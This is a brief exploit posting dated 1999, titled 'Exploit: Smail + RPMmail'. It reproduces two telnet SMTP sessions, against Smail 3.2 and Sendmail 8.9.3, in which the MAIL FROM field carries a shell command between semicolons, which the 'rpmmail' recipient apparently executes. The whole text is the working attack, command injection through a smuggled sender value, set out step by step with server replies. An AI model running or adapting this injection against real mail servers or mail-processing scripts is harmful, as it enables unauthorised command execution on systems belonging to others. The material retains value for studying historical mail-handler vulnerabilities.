Exploit: Smail + RPMmail bash-2.03$ telnet (host) 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 fear62 Smail-3.2 (#1 1999-Jul-23) ready at Tue, 5 Oct 1999 MAIL FROM: ;/command/to/execute; 250 <;/command/to/execute;> ... Sender Okay RCPT TO: rpmmail 250... Recipient Okay data 354 Enter mail, end with "." on a line by itself . 250 Mail accepted quit Sendmail 8.9.3 + RPMmail [nhaniff@dhcp-160-190 nhaniff]$ telnet (host) 25 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 220 dhcp-160-190.x.x ESMTP Sendmail 8.9.3/8.9.3; Wed, 6 Oct 1999 helo x.x 250 dhcp-160-190.x.x Hello IDENT:nhaniff@localhost [127.0.0.1], pleased to meet you MAIL FROM: ;/command/to/execute;@microsoft.com 250 <;/command/to/execute;@microsoft.com> ... Sender Okay RCPT TO: rpmmail 250 ... Recipient Okay data 354 Enter mail, end with "." on a line by itself . 250 Mail accepted quit